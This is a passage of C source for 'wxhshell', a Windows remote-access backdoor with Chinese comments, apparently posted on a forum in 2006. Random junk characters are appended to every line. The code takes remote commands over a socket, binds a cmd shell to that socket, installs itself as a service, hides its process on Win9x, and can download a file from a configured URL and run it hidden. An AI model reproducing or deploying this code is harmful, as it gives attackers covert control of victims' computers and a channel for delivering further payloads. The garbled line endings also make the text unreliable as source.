  cT8`l!RD<  
  // 帮助 4T-9F  
  case '?': { wAr (5nEbx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RLypWjMx$  
    break; U&fOsx?"  
  }  [69[Ct  
  // 安装 8{5Y%InL  
  case 'i': { ` Nn^   
    if(Install()) f\Bd lOJ>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +$MNG   
    else YfC1.8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ni5~Buf  
    break; w_po5[]R  
    } ckqU2ETpD}  
  // 卸载 `;7^@k  
  case 'r': { O a_2J#~$  
    if(Uninstall()) |Ire#0Nwx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |-N\?N9"  
    else oYNP,8r^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3K2`1+kBVG  
    break; fF208A7U I  
    } J4qFU^  
  // 显示 wxhshell 所在路径 A KO#$OJE  
  case 'p': { 6!} @vp![  
    char svExeFile[MAX_PATH]; <|~8Ezd  
    strcpy(svExeFile,"\n\r"); 4@PH5z  
      strcat(svExeFile,ExeFile); :CO>g=`  
        send(wsh,svExeFile,strlen(svExeFile),0); 7Op6> i  
    break; 4K82%P9a  
    } ] (3e +JC  
  // 重启 >Vr+\c  
  case 'b': { OWsK>egD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B./Lp_QK  
    if(Boot(REBOOT)) /,'D4s:Gg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "d'D:>z]%  
    else { Rh-e C6P  
    closesocket(wsh); 5V&3m@d0aq  
    ExitThread(0); j nvi_Rodm  
    } 0  ;$[  
    break; +E7s[9/r  
    } gF;i3OJg  
  // 关机 Ml1sE,BT  
  case 'd': { 5" <7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !|{T>yy  
    if(Boot(SHUTDOWN)) ^ZX71-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yTWP1  
    else { K'.aQ&2  
    closesocket(wsh); DjK:)  
    ExitThread(0); =Jfo=`da  
    } N;e d_!  
    break; 8%]o6'd4  
    } X4LU/f<f  
  // 获取shell FU9q|!2Y  
  case 's': { (K"U #Zn  
    CmdShell(wsh); H(U`S  
    closesocket(wsh); bcFG$},k  
    ExitThread(0); :B?C~U k  
    break; 5Jd(&k8%  
  } ?s[ kUv+=  
  // 退出 coq7La[  
  case 'x': { F)'kN2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XnmQp)nyV  
    CloseIt(wsh); ?|LR@M!S7  
    break; T9.3  
    } 9fr LYJz"  
  // 离开 "w.gP8`  
  case 'q': { vZ[wr@)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  }t}y  
    closesocket(wsh); R&Y+x;({  
    WSACleanup(); ^6R?UG;6  
    exit(1); x"q!=&>f  
    break; K TJm[44  
        } t]LOBy-Kv  
  } *#p}>\Y{  
  } IzPnbnS}  
*@`Sx'5!  
  // 提示信息 ?7>G\0G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8,unq3  
} [w&B>z=g$  
  } gXZl3  
PhTMXv<cE  
  return; 7]se!k,  
} \ vf&Ldk  
jroR 2*  
// shell模块句柄 SVKjhZK  
int CmdShell(SOCKET sock) _Q)rI%A2  
{ MYyV{W*T>  
STARTUPINFO si; [XK^3pT_  
ZeroMemory(&si,sizeof(si)); [t #xX59  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |6@s6]%X}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (55k70>i3  
PROCESS_INFORMATION ProcessInfo; gEr@L  
char cmdline[]="cmd"; (lPiv+'n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B?A]0S  
  return 0; aY:u-1  
} WBc,/lgZ  
eO7 )LM4  
// 自身启动模式 `^_c&y K  
int StartFromService(void) t5t!-w\M$+  
{ vH14%&OcN  
typedef struct j _]#Ew\q  
{ 3i\<#{  
  DWORD ExitStatus; LT+QW  
  DWORD PebBaseAddress; mf4C68DI@u  
  DWORD AffinityMask; ::<v; `l  
  DWORD BasePriority; M/?*?B  
  ULONG UniqueProcessId; /i:c!l9  
  ULONG InheritedFromUniqueProcessId; NgI n\) =0  
}   PROCESS_BASIC_INFORMATION; /O`<?aP%  
P]h-**O  
PROCNTQSIP NtQueryInformationProcess; mCb1^Y  
<rQ+ErDA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qnO>F^itF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $X\deJ1Hi  
pDYcsC{p  
  HANDLE             hProcess; "+dByaY  
  PROCESS_BASIC_INFORMATION pbi; .I h'&  
e-E0Bp  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BQo$c~  
  if(NULL == hInst ) return 0; d U}kimz  
Sv#S_jh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m7 $t$/g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Bjc<d,]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q$iGeE#  
,#V }qSKUS  
  if (!NtQueryInformationProcess) return 0; qT153dNA&  
pB;8yz=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kry^ 47"  
  if(!hProcess) return 0; fk5$z0/  
k]"DsN$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S4O'N x  
k=&UV!J  
  CloseHandle(hProcess); UlD]!5NO  
P9yg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bw Cwy  
if(hProcess==NULL) return 0; &@U)  
l>D!@`><I  
HMODULE hMod; -\I".8"YE  
char procName[255]; wSPwa,)7s  
unsigned long cbNeeded; Oj]4jRew  
~q,Wj!>Ob  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -Cc2|~n  
Fi8#r)G.  
  CloseHandle(hProcess); }trQ<*D  
o,yZ1"  
if(strstr(procName,"services")) return 1; // 以服务启动 w f""=;  
L (@".{T  
  return 0; // 注册表启动 HceZTe@  
} =N^j:t  
V2oXg  
// 主模块 N= G!r  
int StartWxhshell(LPSTR lpCmdLine) (Kg( 6E,  
{ M{)|9F  
  SOCKET wsl; w|[{xn^R  
BOOL val=TRUE; Aa!#=V1d  
  int port=0; 4S\St <  
  struct sockaddr_in door; 6}JW- sA  
=@*P})w5.  
  if(wscfg.ws_autoins) Install(); I4Rd2G_  
qBF}-N_  
port=atoi(lpCmdLine); #!7b3>}  
G_v^IM#B=  
if(port<=0) port=wscfg.ws_port; j}aU*p~N  
7*C>4Gs  
  WSADATA data; E5Zxp3N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <d~IdK'\x  
9?I?;l{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YDjjhe+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ZRn!z`.0  
  door.sin_family = AF_INET; JWV n@)s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6QX2&[qWS  
  door.sin_port = htons(port); c +N\uG4  
"VgPaz#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a"!r]=r  
closesocket(wsl); s0/y> ok  
return 1; Q7pjF`wu  
} Jl-:@[;  
K-Fro~U  
  if(listen(wsl,2) == INVALID_SOCKET) { }~!KjFbs  
closesocket(wsl); ve*m\DU  
return 1; .mvpFdn  
} ;t \C!A6  
  Wxhshell(wsl); D[Kq`  
  WSACleanup(); 4=C7V,a  
>vZ^D  
return 0; AkA2/7<[  
zw}Wm4OH  
} 1JY3c M  
#sb@)Q  
// 以NT服务方式启动 bq"dKN`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d 6zfP1lQ  
{ *DuP~8  
DWORD   status = 0; ;6tGRh$b  
  DWORD   specificError = 0xfffffff; P$Fq62;}r4  
\!df)qdu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; R:, |xz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q4]Qvf>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w3 K>IDWI7  
  serviceStatus.dwWin32ExitCode     = 0; Q)93 +1]  
  serviceStatus.dwServiceSpecificExitCode = 0; [KNA5(Y0  
  serviceStatus.dwCheckPoint       = 0; E=RX^ 3+}  
  serviceStatus.dwWaitHint       = 0; PGJkQsp0  
>L,Pw1Y0W[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ANlzF& K  
  if (hServiceStatusHandle==0) return; #8i9@w  
m?`?T   
status = GetLastError(); r@ v&~pL  
  if (status!=NO_ERROR) r%vO^8FQ  
{ ?xYoCn}Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +.IncY8C$  
    serviceStatus.dwCheckPoint       = 0; xAu&O\V  
    serviceStatus.dwWaitHint       = 0; .aD=d\  
    serviceStatus.dwWin32ExitCode     = status; ?.6fVSa  
    serviceStatus.dwServiceSpecificExitCode = specificError; mM\jU5P:^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %Z { 7*jtE  
    return; aSQvtv)91  
  } j[Oh>yG  
lj"72   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?~WDl j3  
  serviceStatus.dwCheckPoint       = 0; <gjA(xT5  
  serviceStatus.dwWaitHint       = 0; O"m(C[+ [  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?vV&tqnx%  
} 6 u}c543  
]=jpqxlx  
// 处理NT服务事件,比如:启动、停止 1Gh3o}z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2F|06E'  
{ 2sYOO>  
switch(fdwControl) '<%;Nv  
{ zi= gOm  
case SERVICE_CONTROL_STOP: S%2qX"8  
  serviceStatus.dwWin32ExitCode = 0; ,]Q i/m  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &*;E wfgZ  
  serviceStatus.dwCheckPoint   = 0; 97MbyEE8J  
  serviceStatus.dwWaitHint     = 0; :WAFBK/x  
  { F9 2et<y.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sX|bp)Nw  
  } #({ 9M  
  return; r>;6>ZMe  
case SERVICE_CONTROL_PAUSE: SZL('x,"^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kqt.?iJw  
  break; t{o&$s93  
case SERVICE_CONTROL_CONTINUE: RinaGeim  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WzdE XcY  
  break; P= nu&$;  
case SERVICE_CONTROL_INTERROGATE: W~2T/~M  
  break; tP0!TkTo9  
}; -/gAb<=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); MT(G=r8  
} :JfT&YYi"  
3FhkK/@  
// 标准应用程序主函数 |!\5nix3A>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OVhtU+r  
{ +nm?+ F  
bYB:Fe=2  
// 获取操作系统版本 boWaH}?0'  
OsIsNt=GetOsVer(); z<z\)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YCS8qEP&  
:?J0e4.]  
  // 从命令行安装 ODE^;:z !  
  if(strpbrk(lpCmdLine,"iI")) Install(); JF-ew"o<E  
tk~<tqMq  
  // 下载执行文件 r E<Ou"  
if(wscfg.ws_downexe) { v]e6CZwo  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?*: mR|=  
  WinExec(wscfg.ws_filenam,SW_HIDE); X+;{&Efrl  
} _MST8  
BY!M(X jrZ  
if(!OsIsNt) { Z Vj  
// 如果时win9x,隐藏进程并且设置为注册表启动 9w08)2$ Na  
HideProc(); z2DjYTm[~  
StartWxhshell(lpCmdLine); $<v{$UOh  
} Ld$e  -dB  
else C|H/x\?zRv  
  if(StartFromService()) 8CN~o|uN  
  // 以服务方式启动 3 V{&o,6  
  StartServiceCtrlDispatcher(DispatchTable); #(f- cK  
else mCQn '{)  
  // 普通方式启动 (Aw!K`0Y1  
  StartWxhshell(lpCmdLine); YDo Vm?  
-eSZpzp  
return 0; H;=++Dh  
}
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只看该作者 1 发表于: 2006-10-10
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